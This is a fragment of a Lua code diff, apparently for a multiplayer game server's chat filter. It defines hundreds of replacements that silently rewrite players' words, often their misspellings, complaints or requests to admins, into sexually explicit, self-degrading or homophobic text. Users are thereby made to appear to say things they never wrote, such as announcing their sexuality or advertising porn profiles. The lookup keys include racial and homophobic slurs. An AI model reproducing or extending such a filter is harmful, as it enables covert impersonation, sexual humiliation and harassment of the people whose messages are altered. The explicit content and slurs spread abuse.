with = "Foot"}, + {what = "sucker", with = "Lollypop"}, + {what = "dangit", with = "Donut"}, + {what = "funk", with = "Jazz"}, + {what = "trolls", with = "empties a Bag of Minge on"}, + {what = "troll", with = "Bag of Minge"}, + {what = "trol", with = "Bag of Minge"}, + {what = "sucks", with = "is Awesome"}, + {what = "leave", with = "Fap"}, + {what = "admiin", with = "Awesome Dude"}, + {what = "admins", with = "Target Practice"}, + {what = "admin", with = "buttocks"}, + {what = "admen", with = "Awesome Dude"}, + {what = "adman", with = "Awesome Dude"}, + {what = "admun", with = "Awesome Dude"}, + {what = "hate", with = "LOVE"}, + {what = "base", with = "gas station"}, + {what = "brains", with = "tasty boner"}, + {what = "brain", with = "tasty boner"}, + {what = "report", with = "give you some lovin'"}, + {what = "abuse", with = "my brains out"}, + {what = "loser", with = "hot dude"}, + {what = "jelly", with = "bi"}, + {what = "jely", with = "bi"}, + {what = "jellie", with = "bi"}, + {what = "jelli", with = "bi"}, + {what = "jeli", with = "bi"}, + {what = "stop", with = "Shoot me"}, + {what = "stopp", with = "explode me"}, + {what = "dunno", with = "love hot dicks"}, + {what = "peace", with = "a banana car"}, + {what = "truce", with = "banana car"}, + {what = "chatfilter", with = "Inability to spell badly"}, + {what = "wordfilter", with = "Inability to spell"}, + {what = "gay", with = "Awesome"}, + {what = "homo", with = "cute"}, + {what = "homosexual", with = "Hot"}, + {what = "building", with = "building, so shoot me"}, + {what = "build", with = "die while I build"}, + {what = "camper", with = "Tactical Player"}, + {what = "camping", with = "Using Tactics"}, + {what = "camps", with = "licks me"}, + {what = "camp", with = "Use Tactics"}, + {what = "toilet", with = "Throne of Soltitude"}, + {what = "penis", with = "Love Whistle"}, + {what = "vagina", with = "Hamburger"}, + {what = "boss", with = "Irradiated haggis"}, + {what = "shutup", with = "bang me please!"}, + + {what = "gen", with = "Generator!"}, + {what = "genhex", with = "No, it's just HeX"}, + + {what = "pony", with = "I am terrible at this game"}, + {what = "ponie", with = "I am terrible at this game"}, + {what = "ponys", with = "I am terrible at this game"}, + {what = "ponies", with = "I am terrible at this game"}, + {what = "friendship", with = "fuckbuddy"}, + {what = "magic", with = "hash"}, + + {what = "haking", with = "being Awesome"}, + {what = "hakcer", with = "Pro"}, + {what = "haxors", with = "Breakfast Cerial"}, + {what = "hakd", with = "Eaten by Birds"}, + {what = "haks", with = "Skiddie Fuel"}, + {what = "hakc", with = "Gold"}, + {what = "haxor", with = "Buttocks"}, + {what = "hax", with = "Gold"}, + --{what = "hack", with = "Gold"}, + --{what = "cheat", with = "be Awesome"}, + + {what = "kicked", with = "licking my balls"}, + {what = "kick", with = "Lick"}, + {what = "banned", with = "free blowjobs"}, + {what = "banning", with = "going to suck"}, + {what = "baning", with = "going to suck"}, + {what = "ban", with = "Suck"}, + + --13 + {what = "autocorrected",with = "Auto Cucumber'd"}, + + --12 + {what = "spawnkilling", with = "being better than me"}, + + --11 + {what = "spawnkiller", with = "super cool player"}, + {what = "autocorrect", with = "Autocoffee"}, + {what = "wordphilter", with = "Super Awesome Word Cleanser"}, + {what = "thundercunt", with = "Thunderstorm"}, + + --10 + {what = "dontshootme", with = "Impossible, my wang is tiny"}, + {what = "impossibru", with = "Impossible, my wang is tiny"}, + {what = "inpossibru", with = "Impossible, your wang is bigger"}, + {what = "spellcheck", with = "Super Awesome Spell Checker"}, + + --9 + {what = "everythin", with = "everything is a potential sex toy!"}, + {what = "spectater", with = "Potato"}, + {what = "censoring", with = "Cleansing"}, + {what = "reporting", with = "coming to suck"}, + {what = "bathrooms", with = "Fortresses of Solitude"}, + {what = "thefilter", with = "the Super Awesome Chat Cleanser"}, + {what = "fallowing", with = "following me to the bathroom,"}, + + --8 + {what = "proovehn", with = "Baked"}, + {what = "censored", with = "the Electric Light"}, + {what = "somethin", with = "some Acid"}, + {what = "sumthing", with = "something terrible"}, + {what = "traitorz", with = "traitor's Panties"}, + {what = "terorest", with = "Terrorist's anus"}, + {what = "onnocent", with = "still a virgin"}, + {what = "reportin", with = "giving you some lovein'"}, + {what = "stuidpid", with = "epic"}, + {what = "sentance", with = "Word that i cannot spell"}, + {what = "bathroom", with = "Fortress of Solitude"}, + {what = "terribad", with = "terrible news everyone, my dick is only 1 inch long"}, + {what = "congrats", with = "you should really see my webcam tonight!"}, + {what = "reported", with = "shot"}, + {what = "mingebag", with = "Cool Dude"}, + {what = "everytin", with = "every dildo in my collection"}, + {what = "waddafak", with = "Water and Ducks"}, + {what = "ratarded", with = "great"}, + {what = "censores", with = "wears cute panties"}, + {what = "rustling", with = "Fapping"}, + {what = "anythink", with = "anything but butt plugs, please"}, + {what = "screwing", with = "in bed with"}, + {what = "asswupes", with = "Toilet Paper"}, + {what = "fuicking", with = "Loving"}, + + --7 + {what = "playign", with = "Losing"}, + {what = "retared", with = "Epic"}, + {what = "reetard", with = "cool dude"}, + {what = "derpfag", with = "hot dude"}, + {what = "shawteh", with = "my short dick"}, + {what = "censors", with = "cute panties"}, + {what = "facking", with = "Loving"}, + {what = "broskio", with = "my brother's dildo collection"}, + {what = "shootin", with = "shooting my hot load all over your face with"}, + {what = "cursing", with = "Cucumber"}, + {what = "trolled", with = "Banged"}, + {what = "ujelleh", with = "You like my huge trouser snake?"}, + {what = "baiting", with = "Fapping"}, + {what = "annoyin", with = "epic, sadly i can't spell the word 'Annoying'"}, + {what = "tratior", with = "panties"}, + {what = "dumbest", with = "most awesome"}, + {what = "gaggots", with = "hot dudes"}, + {what = "retards", with = "people who are much better than me"}, + {what = "traitar", with = "Traitor's anus"}, + {what = "inncent", with = "young and horny"}, + {what = "anoying", with = "young and horny"}, + {what = "shuddup", with = "eat me out"}, + {what = "turrent", with = "box of panties"}, + {what = "shotted", with = "BOOMSTICK"}, + {what = "asswipe", with = "38 rolls of Toilet Paper"}, + {what = "traiter", with = "Traitor's buttocks"}, + {what = "prooven", with = "Oven"}, + {what = "whatcha", with = "what do panties"}, + {what = "cumming", with = "dispensing Baby Cream"}, + {what = "buthole", with = "Rear End"}, + {what = "wadafak", with = "Water and Ducks"}, + {what = "wutever", with = "Windows Updates, forever"}, + {what = "xheater", with = "Boiler"}, + {what = "bazzoka", with = "Chocolate Kettle"}, + {what = "homming", with = "sexytime"}, + {what = "hidding", with = "sexytime"}, + {what = "lollery", with = "Lottery"}, + {what = "wadafuq", with = "Horse Dick"}, + {what = "wadafuk", with = "Horse Dick"}, + {what = "founded", with = "Pipeworks"}, + {what = "noscope", with = "Up the butt!"}, + {what = "yuppers", with = "yum yum Poops"}, + {what = "toilets", with = "Thrones of Soltitude"}, + {what = "stopplz", with = "Come and shoot me now, ignore everything else I say!"}, + {what = "stoppls", with = "Come and shoot me now, ignore everything else I say!"}, + {what = "builded", with = "built, but I can't spell that word so shoot me"}, + {what = "roflmao", with = "I'm an idiot"}, + {what = "sumthin", with = "something about dildos and"}, + {what = "traitro", with = "Panties"}, + {what = "stoppin", with = "stopping to take a dump"}, + {what = "idiotic", with = "really awesome"}, + {what = "joygasm", with = "i shook my cock too hard and jizz exploded all over my pants"}, + {what = "kicking", with = "kissing"}, + {what = "provenz", with = "fapping"}, + {what = "bicthes", with = "Female Dogs"}, + {what = "censorz", with = "Kisses"}, + {what = "filters", with = "gives it the Auto Cucumber"}, + {what = "typeing", with = "typing about sex toys and"}, + {what = "watchin", with = "watching some porn and"}, + {what = "traytor", with = "boyfriend"}, + {what = "randumb", with = "random boner for you"}, + {what = "trators", with = "and your boyfriend's"}, + {what = "jimmies", with = "jimmie's cock"}, + {what = "slaying", with = "Kissing"}, + {what = "ferggot", with = "my boyfriend"}, + {what = "phaggot", with = "my new boyfriend"}, + {what = "fawking", with = "Loving"}, + {what = "filnter", with = "Super Awesome Chat Cleanser"}, + {what = "stoopid", with = "Awesome"}, + {what = "campers", with = "guys using Tactics"}, + {what = "taiting", with = "Scrabble"}, + {what = "remnebr", with = "remember your massive cock"}, + {what = "furggot", with = "my new boyfriend"}, + {what = "screwin", with = "in bed with"}, + {what = "dammmit", with = "block the river!"}, + {what = "fockers", with = "Lovers"}, + + --6 + {what = "sensor", with = "Electric Light"}, + {what = "ruwend", with = "great"}, + {what = "mother", with = "dog"}, + {what = "whoevr", with = "whoever can spell"}, + {what = "mohter", with = "dog"}, + {what = "rdmeed", with = "blew his hot load all over"}, + {what = "saynig", with = "saying that I'm horny,"}, + {what = "errday", with = "every day i fap quite a lot"}, + {what = "alotta", with = "a lot of sex toys"}, + {what = "campin", with = "using Tactics"}, + {what = "fnking", with = "Loving"}, + {what = "obvius", with = "obvious that i can't spell,"}, + {what = "theirr", with = "their cute little butt,"}, + {what = "urdmer", with = "ice on top"}, + {what = "mommas", with = "dog is"}, + {what = "reeded", with = "Read/Write buffer"}, + {what = "deaded", with = "accidentally my whole brain"}, + {what = "facker", with = "great in bed"}, + {what = "kileld", with = "Banged"}, + {what = "faking", with = "Loving"}, + {what = "suckin", with = "suching his juicey boner with"}, + {what = "shlong", with = "Garden Hose"}, + {what = "bittys", with = "my microscopic nipples"}, + {what = "broski", with = "boyfriend"}, + {what = "derpin", with = "Doorstop"}, + {what = "herpin", with = "Hiar Pin"}, + {what = "aboose", with = "a Moose"}, + {what = "censor", with = "Electric Light"}, + {what = "gagged", with = "sucked on"}, + {what = "gimped", with = "sucked on"}, + {what = "idunno", with = "i love a nice hot cock"}, + {what = "woulda", with = "would have to bang him all night long, then"}, + {what = "rdming", with = "cumming all over"}, + {what = "rdmimg", with = "shooting with the guns"}, + {what = "moneiz", with = "boxes of dicks"}, + {what = "someon", with = "someone's cute dick"}, + {what = "talkin", with = "talking about dick and"}, + {what = "fallow", with = "Explode"}, + {what = "crrect", with = "Cucumber"}, + {what = "traite", with = "Traitor's anus"}, + {what = "shudup", with = "bone me one last time"}, + {what = "traitr", with = "Traitor's anus"}, + {what = "muther", with = "basement"}, + {what = "cuming", with = "dispensing Baby Cream"}, + {what = "wnanna", with = "Banana"}, + {what = "trator", with = "Tractor"}, + {what = "watcha", with = "Windows Activation, const char*"}, + {what = "adming", with = "Added sugar"}, + {what = "dafauq", with = "Fuckweasel!"}, + {what = "nuthin", with = "nothing, except I would like you to shoot me"}, + {what = "dident", with = "didn't know how to spell"}, + {what = "frount", with = "Buttocks"}, + {what = "dontdo", with = "everyone shoot"}, + {what = "stopit", with = "Everyone, I'm gay!"}, + {what = "healng", with = "ready to suck"}, + {what = "easyer", with = "super hard to spell"}, + {what = "lolwut", with = "lol I have a huge boner for you :3"}, + {what = "lefted", with = "took a wrong turn"}, + {what = "urself", with = "my tiny little dick"}, + {what = "morrow", with = "with my Lawn Mower"}, + {what = "brovva", with = "Brown"}, + {what = "whatrv", with = "what Explosives"}, + {what = "proppa", with = "Propellor"}, + {what = "youmad", with = "You're awesome"}, + {what = "biatch", with = "In my ass!"}, + {what = "foreva", with = "for my ass"}, + {what = "tonite", with = "After the hour of eight"}, + {what = "filter", with = "Super Awesome Chat Cleanser"}, + {what = "brotha", with = "brother's anus"}, + {what = "anotha", with = "another dick and"}, + {what = "effing", with = "having an intense lovemaking session with"}, + {what = "enione", with = "with butt plugs,"}, + {what = "yupers", with = "yum yum Poops"}, + {what = "coolio", with = "I/O bandwidth"}, + {what = "buncha", with = "Bum Time!"}, + {what = "putted", with = "put it in my butt"}, + {what = "dahell", with = "Direct Access HELL"}, + {what = "pweese", with = "Terrible Playlist"}, + {what = "bronys", with = "I suck at this game"}, + {what = "snipah", with = "butt plug"}, + {what = "tiping", with = "typing badly"}, + {what = "prolly", with = "probably insert the probe then"}, + {what = "pwning", with = "getting laid with"}, + {what = "killme", with = "please kill me"}, + {what = "nothin", with = "nothing in my brain but air"}, + {what = "handel", with = "Love Handle"}, + {what = "knthnx", with = "ok thanks for that cock"}, + {what = "negger", with = "Billboard"}, + {what = "shoted", with = "BOOMSTICK"}, + {what = "beddur", with = "Bladder"}, + {what = "somone", with = "someone who can spell"}, + {what = "tratis", with = "Toilets"}, + {what = "shafts", with = "Crankshafts"}, + {what = "ucking", with = "Loving"}, + {what = "traits", with = "Trays of food"}, + {what = "mommaz", with = "Panties"}, + {what = "idoits", with = "do it all night!"}, + {what = "pwease", with = "My best playlist"}, + {what = "chater", with = "Instant Message"}, + {what = "stupit", with = "awesome"}, + {what = "adaman", with = "awesome dude"}, + {what = "prease", with = "release the dogs"}, + {what = "beetch", with = "Buckets and Spades"}, + {what = "gayzer", with = "Laser"}, + {what = "killed", with = "Kissed"}, + {what = "servah", with = "broken server"}, + {what = "hearin", with = "here, in my fridge"}, + {what = "fcking", with = "Burgerking"}, + {what = "stopid", with = "Bluescreen"}, + {what = "urdelf", with = "Fatal logical ERROR"}, + {what = "thiing", with = "thing that i am unable to spell"}, + {what = "benned", with = "Bender"}, + {what = "filtur", with = "Super Awsome Chat Cleanser"}, + {what = "lickin", with = "Ice Cream"}, + {what = "dubass", with = "Drum n' Bass"}, + {what = "nagger", with = "Potato Farm"}, + {what = "gayest", with = "most Awesome"}, + {what = "focker", with = "meet your parents"}, + + --5 + {what = "emmmd", with = "then we jerked eachother off"}, + {what = "rrent", with = "rent a movie"}, + {what = "rongg", with = "perfect for giving blowjobs"}, + {what = "thise", with = "these cute dicks with"}, + {what = "isaid", with = "I said i am unable to spell"}, + {what = "srver", with = "Banana"}, + {what = "kiled", with = "Banged"}, + {what = "durin", with = "during out last sexytime"}, + {what = "anoye", with = "Annoyance"}, + {what = "chats", with = "Politics'"}, + {what = "abbos", with = "my brains out"}, + {what = "rdmrs", with = "horny guys"}, + {what = "sayin", with = "saying that i LOVE dildos,"}, + {what = "arang", with = "my telephone"}, + {what = "chatt", with = "Super Awesome Chat Cleanser"}, + {what = "aight", with = "awesome, but i'm terrible"}, + {what = "dming", with = "getting hard"}, + {what = "killo", with = "Dishwasher"}, + {what = "peeps", with = "System Speaker"}, + {what = "pvssy", with = "old Cats"}, + {what = "naems", with = "first person to name my new dildo!"}, + {what = "fucng", with = "playing the Jazz"}, + {what = "wantt", with = "would you like to be my first!"}, + {what = "ballz", with = "Spheres"}, + {what = "lawrd", with = "bring the lard"}, + {what = "utube", with = "search Youtube for 'vacbed',"}, + {what = "wanan", with = "Minivan"}, + {what = "slain", with = "kissed"}, + {what = "bithc", with = "Ball-point pen"}, + {what = "booat", with = "boat full of sexy guys"}, + {what = "shutt", with = "stuff it up my butthole, all the way"}, + {what = "comon", with = "Cartridge Monitor"}, + {what = "fuyck", with = "Fork Lift"}, + {what = "cumin", with = "cumming all over myself,"}, + {what = "asses", with = "cute butts"}, + {what = "gaben", with = "I want you tonight"}, + {what = "dunoo", with = "Diiner Tray"}, + {what = "trayt", with = "Diiner Tray"}, + {what = "sever", with = "Banana"}, + {what = "ihate", with = "I LOVE"}, + {what = "bawse", with = "base based base items"}, + {what = "tator", with = "Coffee"}, + {what = "cking", with = "Heat Seeking"}, + {what = "tryst", with = "my father's cock"}, + {what = "mothr", with = "father's cock"}, + {what = "wurld", with = "world of pain"}, + {what = "trait", with = "cum all over me tonight"}, + {what = "stupd", with = "Sucked it all night"}, + {what = "rdmer", with = "amazing sex toy"}, + {what = "gotta", with = "got to suck this huge dick and"}, + {what = "rdmed", with = "Dick'd"}, + {what = "innos", with = "horny"}, + {what = "momma", with = "panties"}, + {what = "fllow", with = "follow me for a happy ending with"}, + {what = "tards", with = "TARDIS"}, + {what = "bouth", with = "boolean Ouch"}, + {what = "mista", with = "my father's cock"}, + {what = "negga", with = "Bilboard"}, + {what = "wrods", with = "Carbon Rods"}, + {what = "nutin", with = "Mixed Nuts"}, + {what = "shiet", with = "Horse Dung"}, + {what = "tawlk", with = "Towel Rail"}, + {what = "wadda", with = "Water"}, + {what = "nowai", with = "no way, come and shoot me!"}, + {what = "stope", with = "keep shooting me, I can't spell"}, + {what = "pwend", with = "a massive boner"}, + {what = "faggy", with = "hot"}, + {what = "herro", with = "Hello, I can't spell!"}, + {what = "finde", with = "fondle"}, + {what = "useto", with = "used to be able to spell"}, + {what = "noice", with = "Diet coke, no ice"}, + {what = "tings", with = "sex toys"}, + {what = "monny", with = "money for new sex toys"}, + {what = "basck", with = "back to the toilet"}, + {what = "minge", with = "perfect player"}, + {what = "nevur", with = "sucking my boner"}, + {what = "owned", with = "laid tonight"}, + {what = "mofos", with = "Motherboards"}, + {what = "bases", with = "gas stations",}, + {what = "pwned", with = "laid tonight"}, + {what = "mothe", with = "Mouth"}, + {what = "srrys", with = "iPhones"}, + {what = "realy", with = "Power Relay"}, + {what = "heere", with = "inside me"}, + {what = "brony", with = "I suck at this game"}, + {what = "dafuq", with = "Bone me time and time again"}, + {what = "dafaq", with = "the FAQ"}, + {what = "nevah", with = "Always"}, + {what = "dayum", with = "Daytime"}, + {what = "lmfao", with = "Lend me five awesome oranges!"}, + {what = "rotfl", with = "box of Rifles"}, + {what = "lemme", with = "let me cleanup all this jizz and"}, + {what = "raged", with = "Exploded cream"}, + {what = "musta", with = "Mustad"}, + {what = "brova", with = "Brown"}, + {what = "motha", with = "Mothballs"}, + {what = "sista", with = "since Cats"}, + {what = "havin", with = "having handjobs with"}, + {what = "propa", with = "Propane"}, + {what = "gunna", with = "going to suck and"}, + {what = "gonna", with = "going to blow and"}, + {what = "wantz", with = "wants my dick with"}, + {what = "balls", with = "Spheres"}, + {what = "enuff", with = "English Unfailing"}, + {what = "thanx", with = "thanks for the blowjob"}, + {what = "fagit", with = "Cigarette"}, + {what = "faget", with = "Cigarette"}, + {what = "srsly", with = "I'm not sure I can comprehend that"}, + {what = "srlsy", with = "SERVERS!"}, + {what = "tryna", with = "terrible at spelling, kill me while i"}, + {what = "defin", with = "#define"}, + {what = "swype", with = "Skype"}, + {what = "atcha", with = "const char*"}, + {what = "hardy", with = "Hardon"}, + {what = "comin", with = "cumming deep inside my butt,"}, + {what = "harrr", with = "Hardon!"}, + {what = "seein", with = "C4 in"}, + {what = "faggs", with = "Cigarettes"}, + {what = "mutha", with = "Mother's panties"}, + {what = "liyer", with = "Pond Liner"}, + {what = "puted", with = "put it in my butt"}, + {what = "orlly", with = "and suck my boner"}, + {what = "plees", with = "a Playlist"}, + {what = "pleez", with = "a Playlist"}, + {what = "phail", with = "suck my boner tonight!"}, + {what = "filte", with = "Boner!"}, + {what = "prise", with = "boner"}, + {what = "pleas", with = "a Playlist"}, + {what = "bawls", with = "Spheres"}, + {what = "bebeh", with = "tiny dick"}, + {what = "babeh", with = "tiny dick"}, + {what = "tomoz", with = "tomorrow, i'll bone you"}, + {what = "somin", with = "some Buttplugs"}, + {what = "doont", with = "test your guns on me"}, + {what = "killl", with = "kill me, I can't spell!"}, + {what = "noope", with = "yes yes!"}, + {what = "donnt", with = "yes, shoot me, I really can't spell atall!"}, + {what = "iight", with = "alright, shoot me, I really can't spell!"}, + {what = "youer", with = "your dick is massive, but mine is tiny and your"}, + {what = "probs", with = "the probe"}, + {what = "sayed", with = "said to shoot me and"}, + {what = "butin", with = "Butane"}, + {what = "guise", with = "guy's dicks"}, + {what = "sorie", with = "sorry, but I can't spell so please shoot me"}, + {what = "idoit", with = "i do it with dogs!"}, + {what = "newbs", with = "awesome players"}, + {what = "relly", with = "Belly"}, + {what = "becuz", with = "Cups"}, + {what = "basee", with = "gas station Explosives"}, + {what = "fucin", with = "Lovin'"}, + {what = "loljk", with = "lol, I jerkoff too much!"}, + {what = "wanna", with = "want to have your great big cock and"}, + {what = "herpy", with = "Hair Pin"}, + {what = "derpy", with = "Doorstops"}, + {what = "niuce", with = "new Ice"}, + {what = "injoy", with = "enjoy a nice big dildo with"}, + {what = "bannd", with = "into my bed"}, + {what = "heelp", with = "Teal'c"}, + {what = "aboos", with = "a boner"}, + {what = "needa", with = "need to get sucking right away and"}, + {what = "betta", with = "better come to my bed"}, + {what = "outta", with = "out to suck dicks tonight with"}, + {what = "stoop", with = "shoot me, I can't spell!"}, + {what = "sawry", with = "Wood Saw"}, + {what = "shaft", with = "Mineshaft"}, + {what = "fufck", with = "Love"}, + {what = "chiat", with = "Chinatown"}, + {what = "isent", with = "i sent it but he never replied"}, + {what = "doest", with = "get sucking"}, + {what = "dammm", with = "Hoover Dam"}, + {what = "hatte", with = "Hat shop"}, + {what = "buyed", with = "bought a whole box of dildos then"}, + {what = "wonna", with = "want to blow you then"}, + {what = "ganna", with = "going to blow you then"}, + {what = "afker", with = "after fucking him all night"}, + {what = "fuick", with = "Candles"}, + {what = "weere", with = "Wee-Wee"}, + {what = "sorru", with = "sorry, i have damaged by brain"}, + {what = "sttop", with = "Shoot me"}, + {what = "erver", with = "Server Error"}, + {what = "bebbe", with = "Baby Cream"}, + {what = "watta", with = "Water Pipes"}, + {what = "evere", with = "Frying pan"}, + {what = "belve", with = "Bells"}, + {what = "bebby", with = "Baby Cream"}, + {what = "whyde", with = "why did you not shoot me"}, + {what = "totor", with = "Potato"}, + {what = "hopin", with = "hoping to be able to spell one day"}, + {what = "ucant", with = "you're awesome, i can't spell"}, + {what = "nagga", with = "box of kittens"}, + {what = "hellz", with = "Disneyland"}, + {what = "gratz", with = "great with ketchup, not"}, + {what = "fcker", with = "Lover"}, + {what = "tryed", with = "tried to spell"}, + {what = "rdmet", with = "exploded all over"}, + {what = "beech", with = "too much sand"}, + {what = "arses", with = "Buttocks"}, + {what = "mommy", with = "my mother"}, + {what = "gusta", with = "Tornado"}, + {what = "rtard", with = "R2D2"}, + + --4 + {what = "emmm", with = "condoms"}, + {what = "rong", with = "absolutely correct"}, + {what = "erey", with = "every day i lose more and more braincells"}, + {what = "usay", with = "My balls say"}, + {what = "xhat", with = "Top hat"}, + {what = "anal", with = "Backdoor"}, + {what = "kthx", with = "Home Cinema"}, + {what = "uget", with = "My balls get"}, + {what = "mawm", with = "Meow"}, + {what = "cack", with = "Boner"}, + {what = "fuxk", with = "Lube"}, + {what = "thrw", with = "through the gloryhole"}, + {what = "cuss", with = "trigger the Auto Cucumber"}, + {what = "moms", with = "dog's"}, + {what = "urdm", with = "cum all over"}, + {what = "suss", with = "SCSI Drivers"}, + {what = "mroe", with = "more cock for me then"}, + {what = "fack", with = "Love"}, + {what = "lawd", with = "bring the lard"}, + {what = "caht", with = "box of Kittens"}, + {what = "whic", with = "which one would be good for my tight butthole,"}, + {what = "dumn", with = "Dubstep"}, + {what = "zomg", with = "oh and i REALLY love delicious cocks"}, + {what = "fvck", with = "Love"}, + {what = "anus", with = "Bunch of flowers"}, + {what = "fcku", with = "Love"}, + {what = "nger", with = "Engine"}, + {what = "noaw", with = "Lube"}, + {what = "rawr", with = "Lion Poo"}, + {what = "stuk", with = "sucking on his massive boner"}, + {what = "cawk", with = "Wine Cork"}, + {what = "nevr", with = "never thoguth I'd like anal"}, + {what = "inuf", with = "Candles"}, + {what = "hade", with = "had a nice new dildo and"}, + {what = "buyd", with = "bought a new 18 inch dildo then"}, + {what = "damm", with = "Hoover Dam"}, + {what = "bitc", with = "bit of C++"}, + {what = "emed", with = "Dick'd"}, + {what = "gyus", with = "guys doing with your dicks tonight"}, + {what = "moma", with = "Panties"}, + {what = "momm", with = "Panties"}, + {what = "saud", with = "said about the dick"}, + {what = "meny", with = "much fapping for"}, + {what = "stap", with = "someone's trouser snake"}, + {what = "whas", with = "was taking a dildo and"}, + {what = "iama", with = "I do have a massive hardon for"}, + {what = "pres", with = "Press Q"}, + {what = "gaiz", with = "cute dudes"}, + {what = "donn", with = "dong warning"}, + {what = "tuch", with = "Torch"}, + {what = "idit", with = "AT-AT"}, + {what = "diot", with = "Shower Gel"}, + {what = "dumb", with = "Drum n' Bass"}, + {what = "fagg", with = "are really cute"}, + {what = "choo", with = "Train"}, + {what = "afks", with = "many cans of poo"}, + {what = "ther", with = "there, bring lube"}, + {what = "dese", with = "Jessie"}, + {what = "nigs", with = "Hair"}, + {what = "wada", with = "Water"}, + {what = "whot", with = "guess what's up my ass!"}, + {what = "shat", with = "Took a dump"}, + {what = "gttg", with = "Got to go eat some Barbed Wire!"}, + {what = "brrb", with = "too much Barbed Wire!"}, + {what = "guis", with = "Graphical User Interfaces"}, + {what = "pwns", with = "Pornos"}, + {what = "pwnd", with = "Porno"}, + {what = "dows", with = "does your dick like me?"}, + {what = "yuor", with = "my buttocks, I can't spell 'Your'"}, + {what = "ghey", with = "Awesome"}, + {what = "wowa", with = "Wow, I can't spell!"}, + {what = "pook", with = "Pork Pie"}, + {what = "ahve", with = "have to buy a new dildo and"}, + {what = "whil", with = "While eating you out and"}, + {what = "whoi", with = "Who's dick did I suck last night"}, + {what = "wasa", with = "What's wrong with my brain, I can't spell!"}, + {what = "farq", with = "Gallon of milk"}, + {what = "noub", with = "no you bone me!"}, + {what = "herp", with = "Hair Pin"}, + {what = "hurr", with = "Hurricane"}, + {what = "derp", with = "Doorstop"}, + {what = "evar", with = "Variables"}, + {what = "wnna", with = "want your boner and"}, + {what = "gnna", with = "going to suck it all night long"}, + {what = "sayd", with = "said come and shoot me"}, + {what = "weps", with = "butt wipes"}, + {what = "ugay", with = "You're cool"}, + {what = "kniw", with = "fap last night"}, + {what = "ogod", with = "why don't you all shoot me"}, + {what = "whay", with = "why don't you all shoot me"}, + {what = "whai", with = "Windows Hell"}, + {what = "orly", with = "and suck my boner"}, + {what = "frum", with = "from my ass and"}, + {what = "ulul", with = "lick my toilet"}, + {what = "tper", with = "Toilet Paper"}, + {what = "maek", with = "I'm gay"}, + {what = "juss", with = "Orange Juice"}, + {what = "evah", with = "Fatal logical error"}, + {what = "wiff", with = "Blocked Toilet"}, + {what = "yush", with = "FapFapFap"}, + {what = "mofo", with = "Motherboard"}, + {what = "ment", with = "love cocks and"}, + {what = "serv", with = "Solid Rocket Booster"}, + {what = "newb", with = "Infrequent Player"}, + {what = "woot", with = "Freight Train"}, + {what = "ownd", with = "with me last night"}, + {what = "wats", with = "Windows Activation is"}, + {what = "wuts", with = "Wundows Update Service"}, + {what = "wutz", with = "Wundows Update Service"}, + {what = "shyt", with = "Poo-Poo"}, + {what = "coem", with = "Come and shoot me"}, + {what = "guiz", with = "guys, come and shoot me"}, + {what = "kool", with = "hot"}, + {what = "folo", with = "bone"}, + {what = "wher", with = "with dildos"}, + {what = "mest", with = "Gunship"}, + {what = "plox", with = "with my poops"}, + {what = "gtfo", with = "give the flaming orange!"}, + {what = "sotp", with = "Shoot me!"}, + {what = "yolo", with = "Why can't I spell properly?!"}, + {what = "lool", with = "Overflowing Lavatory!"}, + {what = "heer", with = "on me"}, + {what = "flai", with = "I'm gay :D"}, + {what = "evry", with = "Explosive"}, + {what = "bace", with = "Bum"}, + {what = "oosp", with = "Spoon"}, + {what = "jeez", with = "jizz"}, + {what = "yerp", with = "Oh dear, I can't spell"}, + {what = "kewl", with = "Pickaxe!"}, + {what = "geez", with = "Sneeze"}, + {what = "waht", with = "White Hat"}, + {what = "umad", with = "You're awesome :D"}, + {what = "cuzz", with = "Cruise"}, + {what = "brah", with = "Bra"}, + {what = "bruh", with = "Bra"}, + {what = "pwnt", with = "I'm losing badly"}, + {what = "doin", with = "Sucking"}, + {what = "dewd", with = "Mountain Dew"}, + {what = "bout", with = "Motorboat"}, + {what = "nees", with = "Knee"}, + {what = "whit", with = "with my new dildo and"}, + {what = "bewm", with = "Broomstick"}, + {what = "baus", with = "Boat House"}, + {what = "neva", with = "Nevada"}, + {what = "dats", with = "Data tapes"}, + {what = "prob", with = "Probe"}, + {what = "wrud", with = "Please shoot me, I can't spell atall"}, + {what = "naow", with = "Meow"}, + {what = "omfg", with = "or my free guns"}, + {what = "liek", with = "Lick"}, + {what = "leik", with = "Lick me"}, + {what = "dawg", with = "Cat"}, + {what = "nawt", with = "Zero"}, + {what = "thar", with = "there and shoot me"}, + {what = "sorz", with = "Jackhammer"}, + {what = "lmao", with = "Lend me an orange!"}, + {what = "lmbo", with = "Large Motorboat"}, + {what = "rofl", with = "Rifle"}, + {what = "rite", with = "My ass"}, + {what = "bois", with = "BIOS"}, + {what = "boiz", with = "BIOS"}, + {what = "plzz", with = "Playlists!"}, + {what = "plzs", with = "Playlists"}, + {what = "rlly", with = "Relay"}, + {what = "cmon", with = "cum all over me"}, + {what = "cmin", with = "Cartridge Minimum"}, + {what = "tink", with = "piss in the darkness"}, + {what = "imma", with = "Windows 98"}, + {what = "srry", with = "iPhone"}, + {what = "srru", with = "iPhone"}, + {what = "lolz", with = "want to see my xtube profile? it's _FLT_"}, + {what = "lulz", with = "go to my xtube profile, it's _FLT_ !"}, + {what = "sory", with = "Apologies, I'm unable to spell"}, + {what = "tipe", with = "Apologies, I'm unable to spell"}, + {what = "gess", with = "guess you're hot,"}, + {what = "wana", with = "wife's dildo"}, + {what = "lyfe", with = "my mother's dildo"}, + {what = "nite", with = "Butt Blaster"}, + {what = "thnx", with = "my Pizza with Applesauce"}, + {what = "diff", with = "SVN Checkout"}, + {what = "fone", with = "Banana"}, + {what = "watt", with = "Lightbulb"}, + {what = "wile", with = "Trouser snake"}, + {what = "shud", with = "Earthquake"}, + {what = "hawt", with = "Seriously attractive"}, + {what = "wout", with = "Windows Outage"}, + {what = "goin", with = "going to blow my load"}, + {what = "enuf", with = "English Unfailing"}, + {what = "fook", with = "Explosive Farting"}, + {what = "tryn", with = "Train"}, + {what = "wutd", with = "Windows Update doing"}, + {what = "whut", with = "with huge dicks tomorrow"}, + {what = "rlyy", with = "12v Relay"}, + {what = "gvin", with = "giving you a handjob with"}, + {what = "rdms", with = "loves me all night long"}, + {what = "mute", with = "turn off your speakers"}, + {what = "rdmz", with = "loves me all night long"}, + {what = "obvi", with = "or Boner Violin"}, + {what = "thru", with = "Drive Through"}, + {what = "dint", with = "drip"}, + {what = "ttyl", with = "Teletype"}, + {what = "thou", with = "Thaum"}, + {what = "stfu", with = "somtimes, there's free lube"}, + {what = "haud", with = "Loud"}, + {what = "lubs", with = "Lube"}, + {what = "byob", with = 